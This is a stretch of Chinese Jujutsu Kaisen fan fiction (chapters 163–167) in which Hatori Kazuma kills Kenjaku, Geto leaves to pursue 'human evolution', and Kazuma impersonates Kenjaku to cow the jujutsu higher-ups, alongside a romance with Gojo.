——但很快,[她]笑不出来了。 因为那柄短刃不仅没有受到[反重力机构]的操控,反而依旧径直朝[她]刺来! 和天逆鉾同样的破除术式效果!? 不,不对,空间在跟着裂成碎片——这是那家伙的术式,[十方摩诃]! 被[她]极其看好的,能够趁五条悟不备破除[无下限]并杀掉他的术式,此刻竟然被用来对付[她]了…! “什……” [虎杖香织]惊愕出声,却被这柄看起毫不起眼的利刃,被握紧在[她]误认为已经到手的咒灵操术使五指中,重而沉地贯穿了[她]的大脑。 ——紧接着,那柄短剑被羽取一真拧转九十度,由竖插转为横切,小臂迅速绷紧发力,没有丝毫犹豫地划开半个大脑! 绝不会给对方任何翻盘的机会。 [虎杖香织]的血液自额头、自嘴角滑落,整张脸好似都没办法再受到控制般,连半点表情也做不出来——过了更漫长的片刻,扑倒在地的[她]才艰难出声。 “干得……漂亮。” 真是小瞧他了,竟然能想出接近[她]的办法,且为此甘愿隐忍数年之久……甚至,寻到能够改变外貌的特殊手段。 [虎杖香织]想笑,但能做到的只有轻微咧动嘴角。 而羽取一真神色冷漠,压根不打算理会来自敌人的任何话语。 他俯下身,将单边膝盖跪压在[虎杖香织]的胸口,连那柄[业双]也依旧紧握在手中,笔直抬高,沿着对方那道额头的缝线将脑壳切开,彻底展现出内部。 一个同样在淌着鲜血,却在正前方长了张嘴的古怪大脑。 它被[业双]刺穿,又横切开小半边,放在普通人身上已经属于致命伤。 但羽取一真并不放心,他将[业双]的刃尖对准这个大脑的嘴巴部分,随时准备用意念发动[十方摩诃]技能。 直到这时,他才开口问出一句话,语气极冷。 “你是谁?” 既然大脑都能长嘴,那就肯定能说话。 “要来……猜猜看吗?”这块古怪的大脑果然开口了,“我并不畏惧死亡……” 【社交】界面的文字变动,由【虎杖香织(已故)(?)】变成【虎杖香织(已故)(羂索)】。 好,知道名字了。 羽取一真懒得听反派在死前那长篇大论的逼逼叨——[业双]立刻凶狠落下,将对方的话全部堵在了半截。 ——【虎杖香织(已故)(羂索)(已故)】。 一个名字后挂两个已故还挺好笑的,但能让羽取一真终于彻底松懈下来。 他多问这么一句,只是想通过系统检查自己有没有补刀成功罢了。 直到确认对方死亡的此刻,羽取一真才总算能挪开那块始终压在他心头的顽石,成就与喜悦逐渐蔓延上心头。 悟不会再被藏在幕后的这种人……不对,这块大脑算计了。 他脱力般的从[虎杖香织]尸体上站起身,迟疑片刻,还是将她也带上。 这是悠仁妈妈的尸体,虽然没能救下她,好歹也要重新收殓安葬。 羽取一真从这间不知道在哪的地下室出去,坐在远望尽是满目树林的荒郊野岭里,拿出手机,给悟打电话。 “我们成功了。” ………… 在羂索死亡之前,时间再往前倒退些许。 五条悟使用[苍]赶回已坍塌出大片废墟的新宿战场。 他的眼睛很好,无论是[羽取一真]的咒力,还是夏油杰的咒力,都能看得一清二楚。 [羽取一真]受的伤并不重,隶属盘星教的诅咒师更是早已收到信号撤退。 五条悟在其中一条街道上找到了他。 “解释一下,杰。” 那双苍瞳尚未来得及被墨镜遮挡,在仅有月色与路灯照明的夜间,宛若一片冰冷的、孕育着愠怒浪潮的海洋。 对此,[羽取一真]仅是捂着伤口轻咳一声,对五条悟笑道。 “解释什么?我也很关心一真的结果,这可事关我的性命。” “别装傻,” 五条悟提高声音,眉心也跟着紧紧蹙起。 “你没有完全按照计划行动……你根本没对咒灵下达[不准杀人]的命令!” 场面安静片刻。 “……真敏锐啊,悟。我很好奇,你用[六眼]看到的世界到底是什么样的?” 面对彻底挑明的质问,夏油杰终于不再隐瞒。 “别岔开话题。”五条悟上前一步,“你到底是怎么想的。” “我们的计划不是进行得很顺利吗?” 夏油杰却选择避而不答,先转头望向这片夜幕笼罩下的星空。 “没人死怎么会让那家伙相信这场闹剧是真实的?我也很难想象,一真明明对总监部里的那些人一刀一个,却竟然会顾忌非术师的性命。” 五条悟沉默半晌,敏锐且笃定的,指出他刚才话里的潜藏含义。 “你接触过[幕后黑手]了。” “是啊,倒也不算完全见到,否则就不必等这场戏码的上演。”夏油杰垂下眼,“我已经知道[她]只是想要我的身体,更不可能交出自己的性命。” 提早得知了反派的阴谋,就不至于被眼前的三言两语蒙蔽——这也是他依旧配合这场演出的缘故。 包括2012年12月24日这个计划执行的时间点,也是他在得知对方“旅行结束”之后,才定下来的。 不等五条悟对此做出任何反应,夏油杰又继续开口道。 “你的理想是想当教师培养后代,彻底改革咒术界。一真的理想则是帮你达成理想,他本身并没有任何愿望,我甚至能感觉到他对整个世界其实都不怎么在意,就好像只有你一个人才是真实的。” “而我,也终于确定了自己要走的路。” ——在与九十九由基交谈后、在灰原雄死后、在面对七海建人的自暴自弃后、在旧顷村直面愚昧的恶意后……以及,在盘星教接触过[幕后黑手]后。 “我要让这个世界不会再产生咒灵,也不会再产生咒术师与非咒术师之间的争端。” 夏油杰平静开口说道。 “为此,我要达成[全人类的进化]。” 无论在这个过程中有多少人会死亡,他都认为值得。 “全人类的进化,”五条悟为这句话背后的含义而错愕出声,“你要怎么才能做到这点?” 不如说,为什么夏油杰会认定这种离谱的想法会有可行性?? “这就不需要悟来操心了,我也有我自己的办法。” 夏油杰重新抬脚朝前走去,逐渐越过伫立于原地的五条悟。 “我们共同的路就走到这一步为止,无论一真那边成功还是失败,今后都不可能再同行。” 五条悟猛然转过头,看向夏油杰的背影——在上次新宿诀别时,他尚且能抬手比出[茈]的起手式。 而直至此刻,他才恍然察觉自己在面对真正的新宿诀别时,其实还没有准备好接受。 “你……” “如果计划成功,替我也向一真转达歉意。” 夏油杰没有回头,仅剩下声音更低而缓慢的,随风飘至五条悟的耳中。 “究竟是你的理想先达成,还是我的愿景先实现……到时就来看看吧。” “再见了,悟。” 第164章 虽然羽取一真目前在不知道哪里的荒郊野外, 但万幸还没有离开信号塔的发射范围,能让他拨出这通电话。 他想第一时间将好消息告诉五条悟。 “我杀掉了[幕后黑手],原来它的名字叫[羂索]。” 羽取一真的心情很好——哪怕他身边还放着虎杖香织拼凑回去的尸体, 外加一块名为羂索的残破大脑, 整个人依旧十分放松。 在他额头靠近鬓角的位置,有一道被羂索用手术刀深深割开的伤痕,血液仍在不断外溢,湿润而温热的触感自那处一路滑落过眉尾与眼角,直至险些沾上贴在耳边的那部手机时,才被羽取一真抬手抹去。 地下室外面是一栋类似守林人暂居的木屋, 面积并不大,落了灰的地面走出两三道凌乱脚印, 搭建用的木材根部也到处都是被蚂蚁啃噬的痕迹。 这里或许只是羂索的其中一个落脚点, 它只剩下一个大脑到处附身, 也不知究竟活了多久。 能提前布局解决掉这种狡猾又隐藏极深的反派BOSS, 羽取一真很遗憾系统竟然没有给他弹出一个白金成就——比如[见鬼了]之类的。 但他依旧感到很满足,便就近坐在小木屋前的台阶上, 坐在冬季的夜空之下,被冰冷的雾与满地落叶的森林包围着,给五条悟打去这通电话报喜。 “不愧是一真。” 属于五条悟的声音从电话的听筒里传出,带着同样如释重负的笑意, “话说, 为什么用的人称代词是[它]?不是人类吗?” “因为我也不知道该怎么形容,因为它的本体是一块大脑。” 羽取一真看了下眼身边那块被他切得七零八碎的脑子, 实在分辨不出男女。 五条悟隔着手机都听出了这句话里透出的苦恼情绪,没忍住又低笑了声。 “没关系,总之能成功干掉就好, ”——他说,“晚上可以喝酒庆祝了哦。” 五条悟甚至还在最后接了句俏皮话来缓和气氛,令羽取一真也跟着笑起来。 “我可以选择气泡苹果汁吗?” 五条悟不理解气泡苹果汁对羽取一真的含义,但依旧爽快应下。 “好啊,等你回来我们就找个酒吧,搞不好还能赶得上过平安夜……唔,等下,也不知道今晚还会不会有店面开着呢……” 羽取一真从善如流,“我们可以去自动贩卖机那里买两罐。” 只要和悟在一起,他压根不在意气泡苹果汁是装在漂亮玻璃杯里的精心调配,亦或是仅需要拉开便装易拉罐的拉环。 甚至,他也清楚拥有庞大财富的五条悟同样不会在意自己到底喝的气泡苹果汁到底价值几千日元,还是仅需要一枚被塞入投币口的硬币。 “哈哈。” 五条悟发出了短促且愉快的两声轻笑,好似已听出了羽取一真的言外之意。 他爱着一真,就像一真爱他那样——毫无保留的信任,绝对尊重的理解,以及永远坚定的执着。 听到这声没有刻意压低的清澈笑意,羽取一真的心彻底柔和下来。 他仰起头,发现在这个圣诞即将到来的夜晚,天空已然飘起细碎的雪花。 “一真,我接下来要和你说一件事情哦,先做好心理准备。” 五条悟也看见了落雪,在暖黄路灯下折射出钻石似的晶莹光泽。 他沿着这条街道散了会步,索性也在一家提前打烊的便利店门口坐下。 这话听在羽取一真的耳朵里,骤然提起警惕心。 “难道羂索只是幕后黑手之一?” 思来想去,他只觉得这个消息才是需要做好心理准备才能听到的。 该不会像某部作品里的反派一样,杀了他还有他的细胞复制试验品,再杀了还有他的思念体,再杀了还有……总之就是主打一个没完没了,还会跑其他游戏去客串。 “什么,不是啦,我也是第一次知道幕后黑手叫羂索,嗯,是一个佛家法器的名称啊,估计也不是真名吧。” 五条悟惊了下,没忍住笑道,“我要说的不是这个。我想告诉你的是……杰叛逃了。” 说到后半句时,他话语里那股愉快的口吻已经彻底消失,仅剩下落寞或怅然这些更复杂难言的情绪。 羽取一真怔住片刻。 羽取一真困惑蹙起眉毛。 “他叛逃……回高专了?” 回高专能叫叛逃吗?那应该叫逮捕归案更合适吧……或者弃暗投明? 五条悟:“……噗,等下,我不是这个意思。” 确实,夏油杰之前已经是从咒术师叛逃成诅咒师,再说叛逃不就又从诅咒师跳回咒术师这边了。 由于被一真打了下岔,那些浓墨般压在五条悟心头的沉重情绪,忽然消散不少。 他将夏油杰做的事情大致说了一遍,又复述完他们刚才的对话。 “总之就是这样,杰似乎找到了什么方法能完成[全人类的进化],但我更怀疑他是被羂索蒙蔽了。” “九十九由基…啊,就是另外一位特级咒术师,之前和你提过的。她之前就和杰说过她在找让世界不会再产生咒灵的办法,当时的杰虽然也赞同对方的理念,却也不知道该怎么做才能达到这个目标。” 五条悟撑着脑袋,苍瞳盯着那些尚未落在地面便融化的雪花。 战斗已经结束,更远处的废墟那边始终有机器或用喇叭放大的人声,传到这边时已变得隐隐约约,大概是后勤人员在尽快进行清理工作。 ——让全人类都进化成术师,创造一个不会再诞生咒灵的世界。 这是夏油杰最后选定的道路。在那个羂索不知道和他聊过什么之后,他终于下定了决心,哪怕要因此牺牲一部分普通人也在所不惜。 难不成那个羂索,给杰提供了有实现可能性的解决手段吗? “原来是这样。” 羽取一真不清楚夏油杰是否真能实现这个目标,但反正对悟有威胁的羂索现在已经死透了,便也并不在意对方此刻的离开。 倘若说唯一可惜的,就是之前没从对方那里再抠些咒灵出来。 话说回来,他已经提前杀了反派BOSS,那这款游戏还要玩到什么程度才算通关? “只要他不伤害到你,我无所谓他打算去做什么。” 羽取一真想了想,“比起那些,我更担心悟。现在还好吗?” 他虽然并不在意夏油杰,但知道悟一直将对方当成好友看待——貌似无论什么事情都轻率对待的悟内心实则相当重情重义,格外珍惜每一份来之不易的友谊。 包括荒生润子、津地智也和矢野加奈他们,悟其实也一直有保持联络。 “我……也不清楚。” 五条悟低低开口,语速是罕见的缓慢,似乎连他内心也浮起了一股巨大的迷茫与不安。 “一真,我知道我很强。” “无论夜蛾校长、硝子还是那些所谓的前辈,总会说我强得有些过分,甚至有时还会让人觉得火大。” “他们竟然敢这么说你……” 头一次听悟说起自己之前不知道的内容,羽取一真气得当即就要站起来找人算账,被五条悟赶忙安抚回去,说话时的语气却也不再显得如此沉重。 “好啦好啦,只是玩笑话而已啦,”五条悟忍不住笑起来,“嗯嗯,要是一真在,他们肯定不敢这么说我。” 羽取一真气闷反驳:“我不在的时候也不能这么说,悟比那些人好一万倍。” 他又开始后悔自己在这周目的身份变成了诅咒师,而不能继续当【加茂老师】了——就像让一条龙被迫远离了它看守的财宝。 “咳,你现在就算再怎么夸我,也没有亲亲可以奖励哦。” 五条悟轻咳一声,发现自己心头那份沉重的情绪都快要被一真带着彻底跑没了,嘴角更是早已无意识的翘起。 “总之,我要说的是……光我一个人强大是不够的。” “培养更多的强大同伴,不仅为了改革咒术界。我还希望他们能不必再等待他人的救助,而是成长为足够去救助他人的人。” “无论是身体上的,还是精神上的。” 他说出独自思考许久后的想法,宛若一棵树逐步走过萌芽、抽枝与成熟,此刻终于在凌冽罡风中,绽放出无数层叠绚烂的花瓣。 而自此之后,这株扎根于荒土上的苍苍琼树将不止为后来人提供无比心安的庇荫,亦将为其遮风挡雨,照拂并期待更多幼苗能迎来开花结果。 这是身为[最强]的五条悟,往后想要走的道路。 大概会比那些动动手指使用术式就能完成的任务艰难一万倍吧,但他已决定要这样做,就不会再后悔。 “我会支持你。” 这是羽取一真给出的答案,一如既往。 哪怕整个咒术界都反对,五条悟的身边也永远不会是空无一人。 他无声吐出口气,轻快笑着:“哎呀,难道一真没有自己的理想吗?我也想听听看哦。” [一真的理想则是帮你达成理想,他本身并没有任何愿望。] [他对整个世界其实都不怎么在意,就好像只有你一个人才是真实的。] 这是杰在离开前,对他说过的话。 如果一真是将自己的理想全部抹消,只是为了让他开心而始终支持他的话,五条悟更希望他也能为一真做些什么。 理想啊…… 羽取一真思索道。 要说现实世界,他现在最大的理想应该是考上全日本排名前三的大学。 但假如只将理想限定在游戏里…… 羽取一真捏着下巴,在无数飘落的雪花中,在无垠夜空与苍茫森林的见证下,缓慢吐出几个字。 “我的理想应该是……和悟结婚吧。” 五条悟:“……” 五条悟:“欸!?” 第165章 五条悟呆住。 一真的理想竟然是和他…结、结婚…… 他一手举着电话, 另一只手条件反射捂住脸,好似某种对发烫面颊的欲盖拟彰。但紧接着,他又后知后觉发现自己完全没有必要这么做——说出这句理想的对方又不在自己面前, 压根看不见他的脸到底有没有在烫! 并非五条悟没有想过和羽取一真永远走下去, 只是对于几乎没见过父母、感情羁绊又极少的他而言,【结婚】这个词语太过少见,宛若某种神圣的欲望禁忌,一种只要说出口就会向神明告出誓言的终身判决,他的生命将与另一人永远绑定,直至死亡。 就像……就像某部作品里写的咒语, [牢不可破的誓言]。 五条悟从来没想过他会结婚——甚至在上高专之前,他一直认为自己大概这辈子也不会对哪位异性产生心动的感觉。 谁能料到他确实没有对异性心动, 而是对一真心动了呢。 但此时此刻, 五条悟只感到自己浑身的血液都在蒸腾, 心脏急速跳动的频率仿佛已具现化为一根律动的红线, 轻柔绕着他的小指缠紧,另一端沿着电波无限延伸而去, 直至彻底没入墨色更深的夜空之中。 他自认已经是足够成熟的23岁——哪怕面对十个八个诅咒师杀过来,大约连眉头也不会动一下——竟然没办法游刃有余的处理这个问题。 或许再过个五年就能轻松处理了吧? “你……给我说个正经点的理想啊。” 五条悟依旧没有放下那只挡着脸的手,导致说出这句话的声音闷闷的,带着点似埋怨似撒娇的味道。 对此, 羽取一真的回答分外无辜, 且相当郑重。 “这个理想不正经吗?” 如果不是系统里显示求婚条件还没满足,他早就对悟发起求婚了。 至于哪里还没满足……他也不清楚, 可能是法律层面不准许吧。 但无所谓,他又不是和系统结婚,悟答应了就行。 话说回来, 收养法规定成年人是可以被收养的,也就是说哪怕在婚姻上不能成为一家人,搞不好在户籍上照样能成为一家人…… 聊到结婚这个话题,羽取一真的思维迅速扩散,以至于开始考虑起到时候是谁入谁的籍——要不猜拳决定? 收养小孩就不必了,他只喜欢养悟,不喜欢养和悟没关系的小孩。 至于听到羽取一真反问的五条悟……无法反驳。 想和他结婚的理想,凭什么不能是一个正经理想呢! 五条悟鼓着脸半晌,发现自己甚至很难说服正在自己脑海里大唱结婚进行曲的那帮麻雀。 他连自己此刻的嘴角都压不平,还妄想压制同样开心到不行的麻雀? “……真是败给你了。” 五条悟对着手机小声嘀咕,语气却越来越上扬,连苍瞳也半眯了起来,看纷飞的雪花都觉得温暖。 森林格外安静,足以让羽取一真将这句嘀咕听得一清二楚,并难得回出一句骄傲的“哼哼”。 这哼笑的语气,一听就是跟五条悟学的。 “总之……咳,总之先不谈这个话题……” 五条悟罕见磕巴了下,决定先聊点别的,“你之后打算怎么办,继续待在盘星教吗?” 现在又换成他还没有做好结婚的心理准备啦…! 不过,当羽取一真的理想一出口,五条悟现在是半点低落的情绪都找不见了——他还在努力压制那满脑子上蹿下跳、叫嚷着“快答应他!”的麻雀们。 “嗯,毕竟也算一股势力。” 羽取一真没有勉强悟给出答案,而是配合转移话题,“或许能从外部给你帮上忙。” 实在帮不上,也至少不会被别人占去,反而给悟使绊子。 何况,那个羂索拥有的可不止盘星教,还有渗透多年的总监部。 按照上周目首座死时的惊恐表情来推测,对方大概率见过羂索——或者说,见过羂索的特征。 羽取一真抬手摸上那处被切割的伤痕,若有所思。 “我……” 通话只安静了片刻,五条悟又低声开口,再度拉回羽取一真的注意力——这次,五条悟的口吻里透出十分明显的赧然,甚至先配合发出了声战术性轻咳。 “嗯,就是,我虽然觉得结……那个话题还有点早,但是……嗯……” “我在前段时间,其实有用这几年积攒的教师薪水…买了间公寓。” 面积并不算大,距离高专的位置也很远,但胜在装修高档,周边环境也很好,底下还有管理员看守,不会放无关紧要的人员进来。 重点是…… 羽取一真瞬间领悟到“我买了间公寓”的话外之意,黑瞳逐渐亮起来,几乎要闪出pikapika的光。 “在邀请我吗?” 他实在很难稳住心情,连刚开口时的声音都激动到都些发颤。 这可是久违的,同居! 同居都有了,距离结婚还远吗! “——”五条悟含糊咕哝了声连自己都听不太清楚的话,才笑眯眯回道,“是啦,在邀请你。既然幕后黑手已经被消灭,也就不用担心会被[她]…嗯,它发现你我之间的关系了呢。如何,要来吗?钥匙分你一把哦。” 这下,羽取一真是真的开心到周身会飘粉嫩小花——“要,”他斩钉截铁的答应,略作停顿后又补充一句。 “我会先处理好后续问题。” 和悟同居这个选项的诱惑实在太大,令羽取一真感觉自己走路都像踩在软绵绵的云朵里。 但他还是要为这场[百鬼夜行]收个结尾。 夏油杰和羽取一真都被五条悟上报逃脱,诅咒师也几乎没被留下来。 只是仍旧有数位被咒灵杀死的普通人、[窗]及辅助监督,使得[特级诅咒师]夏油杰的威胁性又被拉高一级。 他驱使的咒灵越多,对非一级以上术师的危险性就越高。 收到伤亡报告的五条悟后悔自己在与夏油杰诀别的那一刻没忍心下手,如今却已寻不到他的踪迹,只能站在墓园新立起的一排石碑前低垂着眼,静默吊唁。 真的很抱歉,我在那时心软了。 五条悟向这些无辜遇难的死者诚恳认错。 也请各位放心,如果夏油杰还打算这样做……他不会再放过对方第二次。 ……… 羽取一真带着虎杖香织与羂索的尸体回到盘星教——前者的尸身妥善安葬,后者的大脑就地焚毁。 等悠仁升上高中,他就能去仙台的[杉泽第三高中]找到人了。 届时,羽取一真会向他仔细解释虎杖香织的经历,并带悠仁来此处祭拜他的母亲。 ——上周目他答应过的,会好好照顾悠仁。 至于与他们分道扬镳的夏油杰,羽取一真询问酒见绫子,发现他再没有回到盘星教。 大概是清楚羽取一真绝对会站在五条悟那边吧,压根没有询问的必要。 甚至假设五条悟一声令下,羽取一真绝对会当场就把盘星教的这位老同事逮起来——三人都对此心知肚明。 因此,夏油杰走得也格外干脆,不仅没有带走那些由他招募来的诅咒师,连菜菜子和美美子都只是去学校叮嘱她们几句,甚至没有多做解释便离开了。 “夏油大人说,要我们留下来跟着你,以后也要记得好好学习。” 菜菜子小声开口,吐字却逐渐哽咽,“他是抛弃我们了吗?” 被迫接手这对姐妹的羽取一真:“………” 真是吃定了他不会迁怒小孩。 御子柴可能会对这个展开感到dokidoki,但他对养小孩真的没有兴趣。 “没有,只是他在逃亡,带着你们不方便。”羽取一真想了想,干脆叫来酒见绫子,“交给你了,照顾好她们。” 菜菜子和美美子刚想掉下来的眼泪都给吓憋了回去:“…………” 逃、逃亡?! 酒见绫子更是无言以对:“……” 她光是看大了这位难搞的羽取一真还不够吗,怎么又丢过来两个小鬼!? 但之前都是由夏油杰亲自照顾这对姐妹的,如今夏油杰离开了,总得给她们安排新的住处与照拂的长辈。 何况这是来自圣子大人的吩咐——酒见绫子只好点头领走这对双胞胎姐妹。 算了,反正她也不讨厌小孩。 “我今后不再是圣子。” 羽取一真叫住酒见绫子,对她强调了这么一句。 酒见绫子的脚步一顿,再转过头看向羽取一真时,表情明显变得兴奋起来:“您是指……” “嗯,”羽取一真开口,“我将是新任的教祖。” 不仅是盘星教名义与实质上的教祖。 ——还将是总监部那方的[教祖]。 羽取一真交代完盘星教的事情,独自回到寝殿,站在盥洗间的镜子前,正面打量起镜中这个神情冷淡的青年。 过了片刻,他用五指将额前的碎发往后撩去,露出光洁的额头。 之前由[虎杖香织]划下的伤,如今已随着羽取一真的体力值补满而痊愈了。 然而此刻,羽取一真从物品栏里取出[业双],抽出其中一柄短刃,指间轻巧一转,反手将锋利的刃尖对准自己的额头—— 以毫不动摇的姿态,自左往右,再度刻出一道深而重的血痕。 在皮肉被这柄短刃割开期间,不断涌出的血液受重力吸引,争先恐后的流进眼中阻碍视线,又被另一只手淡然拭去。 全程没有发出任何动静,仅细密的睫羽在被那些腥红血液压低时,微微颤动了稍许。 还有针线,也不能忘记将这道伤痕缝起。 ——等那些血也被低下头,泼在脸上的清水洗干净时,再抬起头看向镜子的青年,额前已多了道强行伪造出的缝合线。 亲眼见过了这周目的[虎杖香织]与上周目的[夏油杰],羽取一真已推断出这道额头的缝合线便是代表[被羂索附身]的意思。 而那些在长年累月间被其掌控的总监部,但凡听过[那位大人]的家伙,想必也是依靠这道缝合线来辨认身份的吧。 “你…不,您……” 趁着夜色来到首座所居住的宅邸里,羽取一真面无表情盯着眼前这位大惊失色的老人,确认自己的判断没错。 他们绝不会想到有人如此疯狂,在杀死羂索后,主动往自己的额头上切割出一道伤口来伪装它。 “很好,你还能认出我。” 羽取一真慢慢开口,连遣词与断句的语气也学起了那个羂索——根据他以往与它的聊天经验。 “我来之前还在想,首座的位置可不能交给蠢蛋来坐呢。” 第166章 羽取一真能悄无声息潜入这栋宅邸, 自然是依靠黑豆柴拟态。 地址由禅院直哉提供——他还挺好用的,在干坏事这方面相当有天赋。 但防御结界理当对他的原身形态起警报,因此, 羽取一真原本打算在拟态解开的同时就出声伪装羂索, 让这个老头主动解除警报。 合情合理,还能让首座被他的神出鬼没吓一跳。 然而,原本应该是最严密的防御结界之一,依旧对羽取一真毫无反应。 和他之前杀的那些高层情况一样……就好像这些防御结界全部都对他关闭了侦测雷达,以保证这位天狼星杀手能够畅行无阻,来去自如。 羽取一真愈发确信, 这点实在不同寻常。 等回去后,问一下悟那边知不知道怎么回事吧——或许是他那边帮忙动过手脚? 但此刻, 他继续盯着这位强作镇定的总监部首座, 听听这个老头会说出点什么话来。 “您…您这次来是为了……” 敬语拉满的总监部首座几乎想要抬起衣袖擦汗了, 但他被这双淡漠的黑瞳冰冷注视着, 连动一下手指都有种自己会被杀掉的错觉。 比起那位女性的身体,这个青年的岁数并不大, 在精神上带给他的压迫感却前所未有的强…! 而且,这位大人有事都会采用各种方式来迂回传达指示,极少露面——而往往每次亲身造访,就意味着对方接下来要说的内容绝非小事。 甚至上一任首座, 就是这样“老死”的。 这位总监部首座的内心忐忑不安到极点, 面朝羽取一真跪坐在这间传统和室的榻榻米上,连视线都一触即离, 丝毫不敢往上抬。 看一眼对方额头上的缝合线确认身份,已经算他鼓起了莫大勇气。 至于为何防御结界没有发出警报——那不是理所应当的吗,这位大人的结界术造诣不知比那些酒囊饭袋高多少, 连天元大人亲至也未必能及得上他! 这点细节被总监部首座看在眼里,反而愈加为[羽取一真已被羂索附身]提供了有力佐证。 “为了。” 羽取一真见他没有继续往下说,显然是在将后半句的主动权全盘交给他——于是,他便也玩味似的开口,念出这个单词。 “你来说说看,我是为了什么?” 这句反问里蕴藏的拷问与审视意味太重,令首座的浑身都是一抖,大脑开始疯狂运转。 他甚至将自己上任以来做的事都走马灯似的翻了个遍,又害怕是自己的小算盘被对方发现将遭清算,又祈祷对方千万只是来给他下命令的。 羽取一真在面对五条悟时,总会被后者说演技不合格。 然而一旦离开五条悟的视线,羽取一真的演技总是炉火纯青,好得宛若浑然天成。 尤其是在当恶人反派这方面,简直天赋异禀。 譬如,这位首座已经快被吓得尿裤子了,抖抖索索半晌才憋出一句。 “您、您是为前两天的[百鬼夜行事件]而来吗?” 毕竟他还记得,[百鬼夜行]的发起人里除了那个名为夏油杰、如今逃亡在外的特级诅咒师,就是眼前这位青年了……应该是叫[羽取一真]来着。 莫非是在责怪他们办事不力? 可他们也不知道到底应该阻止[百鬼夜行],还是纵容[百鬼夜行]啊! 这不就是没有听到任何风声,才决定按规矩办事……如此一来,即使大人后来怪罪,他们也好有理由推脱…… 但真到了对方亲自前来,带着裹挟浓重杀意的威压站在他面前时,首座又觉得自己想耍的把戏不过是一点小聪明,几乎被对方看了个透彻。 “哦?” 羽取一真站在原处,墨黑衣袖静静垂在首座跟前,好似连空气也被这股死寂而压抑的氛围凝固了般,在斜斜照进来的月色里纹丝不动。 唯有眼神落在首座俯下身时露出的颈后,锐利宛若一柄实质化的铡刀,缓慢切割着他那颗因恐惧而瑟缩的心脏。 “[百鬼夜行],没错,你们几乎什么也没做。” 羽取一真淡淡开口,“而你们,以后最好也什么都别做。” 这句话直接令首座的冷汗都沿着脖颈淌了下来,恍惚间感觉死神的镰刀已悬在自己的头顶。 “这个,我可以解释……” “不,我的意思就是,什么也别做。” 那双黑瞳冰冷盯着首座,没有给他继续“辩解”下去的机会。 电光火石之间,首座终于领悟了这位大人的意思。 “您要我们对今后的事情发展睁一只眼闭一只眼,无论是什么?” 话音落下,他便感觉由那道目光降临在自己身上的压迫一轻——说明蒙对了。 首座内心终于能缓过来口气,甚至开始窃喜自己的反应速度还算快。 哼,要是换了尾石那家伙来,肯定会因蠢笨而“不得不”以死向大人谢罪。 显然无论是[百鬼夜行]抑或换了具新身体,都在这位大人的计划之中;甚至之后还会有同样类似挑战咒术界运转规则的事件再度发生,而他们同样无需插手,只管放任自流便是。 可是,这几年来还有疯狂狩猎他们的[天狼星杀手],以及想要颠覆现有秩序的[最强]五条悟……也不必管吗? “很好,还算机灵。” 首座想要问出口又不敢,低着头忐忑半晌,终于又听见头顶传来声音,语速不紧不慢,“希望你以后也能继续保持这份机灵,首座大人。” 在说后半句话时,他听见脚步声逐渐自身边远离,对方似乎已打算离开——“大人等下,关于那位五……” 首座终于没忍住想要说话,却见对方重新转回身来,逆着月光的黑瞳几乎要沉入深渊之中,又自那深不见底的恐怖与绝望之中,映照出足以令人发寒的微微笑意。 连原本没有任何表情的唇角,也忽而勾起一点极耐人寻味的冷淡嘲弄。 “毕竟不机灵的,都已死在天狼星之下了。” ……… 最后用一招死亡威胁将那老头吓得彻底瘫软在榻榻米上连连点头,羽取一真心情很好。 这样也省了他们继续追查[天狼星杀手]——被[羂索]这样一说,总监部会默认[天狼星杀手]是他的人,而之前死的那些,都是他认为“不机灵的”。 这种含糊不明的判断标准,最容易让他们自己延伸出各种束缚自己的规矩。 至于让他们“什么都别做”,则是羽取一真相信只要没有这帮高层插手阻挠,悟肯定能实现他的理想。 虽说他也可以杀光咒术界的所有高层再换一批听话的,但这种太过恐怖的统治手段,反而容易让这帮高层怕死到阳奉阴违——就像上周目的加茂家与总监部,表面上唯唯诺诺,暗地里不知道在密谋什么。 还会连累悟也跟着受敌视,包括他教出来的那些支持他的学生。 因此,这周目的羽取一真转而尝试冒领羂索身份,直接当上这帮老头的幕后BOSS。 外来的【加茂家主】说话不好使,【羂索】说话总好使了吧。 让他们去做点什么,有可能在执行上给他打折扣——说得太清楚还容易暴露身份。 让他们什么都别做,反而是简单就能实现的效果。 至于之后……倘若还有人敢对悟使绊子,他就继续杀几个震慑,再放任他们猜去,总会留下机灵的。 羽取一真警告完首座,便又用“高深莫测、来去无踪的”黑豆柴拟态离开这栋宅邸,跑了一长段路后,解除形态回到人身。 自从伪造出额头的这道缝合线,羽取一真就始终没有使用回血面包、反转术式或进食来补满体力值,好让它能维持在伤势不会愈合的状态。 当然,他也不能一直留着这道缝合线,悟过两天会送钥匙过来,到时他就要搬去公寓里住——可不能让对方发现他又给自己造了道伤口。 眼看离盘星教的地盘越来越近,羽取一真的心情也愈发放松,想着等回去就先对着镜子将缝在伤口上的线拆掉,然后发动一下反转术式就万事大吉…… “哦嚯,很厉害嘛,我的一真大人。” 寒冷到积了层厚雪的深冬,没人愿意在后半夜的街道上乱逛——某位提前来送惊喜(钥匙)的人除外。 羽取一真刚脚步轻快地拐过一个路口,整个人都因为这句话而彻底僵硬住了。 犯、犯罪被抓了个正着…… 羽取一真停住。 羽取一真默默转过身。 羽取一真用一种格外可怜巴巴的姿势站在原地等训。 这一连串反应,可给五条悟气乐了。 他打给羽取一真的电话不通,还以为对方是睡死了没听见——结果正要偷溜进寝殿里送惊喜的他,[六眼]却接收到熟悉的咒力气息自远处靠近! 然后怎么着,一眼就瞥见这混账的额头多了道极深的伤口。 能把五条悟气到双手交叉环抱在胸前,用这种抑扬顿挫的语调说敬语……羽取一真也算是有史以来第一人了。 大概也是唯一一个。 “我错了。” 羽取一真立刻诚恳向人道歉,完全没了之前面对首座时的BOSS气场。 但这话,五条悟可听过不止一次了。 “自己划的吧?” 他扯了扯嘴角,从那伤势上一眼就能看出始作俑者是谁——而羽取一真只有乖乖点头承认的份。 “伪造这个是要做什么……” 五条悟正想继续追问,却发现羽取一真站姿虽然仍旧很稳,面色已十分苍白,大概率是之前割开伤口时导致的失血过多。 甚至再仔细点观察,能看见伤口的边缘仍在微微渗血。 而眼下他们所处的环境,是气温在零度附近徘徊的寒冬深夜。 五条悟气闷得鼓了鼓脸,还是过来伸手环住羽取一真的肩膀,带着他往公寓的方向走去。 “等到家了再继续拷问你。” 第167章 五条悟刚开始还带着羽取一真在街道上慢慢走, 但深夜的寒风凛冽,稍微刮过一阵,他就忍不住去看身边的羽取一真。 纵使羽取一真身姿挺拔而放松, 步伐沉稳, 丝毫没有被这几股温度极低的冷气吹到瑟缩的模样——五条悟也总感觉对方不过是在强撑。 看一眼就来气,但不看更来气! 